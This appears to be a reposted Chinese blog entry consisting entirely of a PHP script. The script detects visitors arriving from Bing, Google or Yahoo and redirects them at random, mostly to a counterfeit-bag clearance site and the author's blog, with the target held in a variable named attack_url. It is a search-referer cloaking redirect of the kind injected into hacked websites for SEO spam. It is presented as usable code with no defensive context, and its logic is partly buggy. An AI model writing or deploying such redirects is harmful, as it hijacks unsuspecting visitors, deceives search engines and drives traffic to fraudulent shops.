- <?
- $language=$_SERVER["HTTP_ACCEPT_LANGUAGE"];
- $lang="en";
- if ( strpos($language,$lang) == false ){ //如果客户端的浏览器语言不是en的则不跳转
- if(isset($_SERVER['HTTP_REFERER'])){ //判断源地址的链接,如果是直接访问网址则不进行跳转
- $source = $_SERVER['HTTP_REFERER'];
- //echo $source;
- } else {
- $source = '';
- }
- $urla="bing";
- $urlb="com.hk";
- $urlc="google"; //搜索引擎
- $urld="yahoo";
- if ( strpos($source,$urlb) == false ){
- if (( strpos($source,$urla) == true )or( strpos($source,$urlc) == true )or( strpos($source,$urld) == true )) //如果源地址是搜索引擎的其中一种
- { //则继续判断
- error_reporting(7); //报错等级
- $target_url=array();
- for($i=0;$i<39;$i++)
- {
- $target_url[$i]="http://www.coachbagclearancesite.com";
- }
- for($i=41;$i<59;$i++)
- {
- $target_url[$i]="http://blog.mcshell.org";
- }
- for($i=60;$i<100;$i++)
- {
- $target_url[$i]="http://www.google.com";
- }
- //print_r($target_url);
- //print_r(rand_array($target_url)); //调试代码
- function rand_array($arr)
- {
- $arr_size=sizeof($arr);
- $tmp_arr=array();
- for($i=0;$i<$arr_size;$i++){
- mt_srand((double) microtime()*1000000); //制作随机的网址
- $rd=mt_rand(0,$arr_size-1);
- if($tmp_arr[$rd]=="")
- {
- $tmp_arr[$rd]=$arr[$i];
- }
- else
- {
- $i=$i-1;
- }
- }
- return $tmp_arr;
- }
- $attack_url=rand_array($target_url);
- $attackurl="com";
- if ( strpos($attack_url[1],$attackurl) == true ){
- //最后随机获取的那个链接
- Header("Location: $attack_url[1]");
- }
- }
- }
- }
- ?>
本文转自 mcshell 51CTO博客,原文链接:http://blog.51cto.com/mcshell/625244,如需转载请自行联系原作者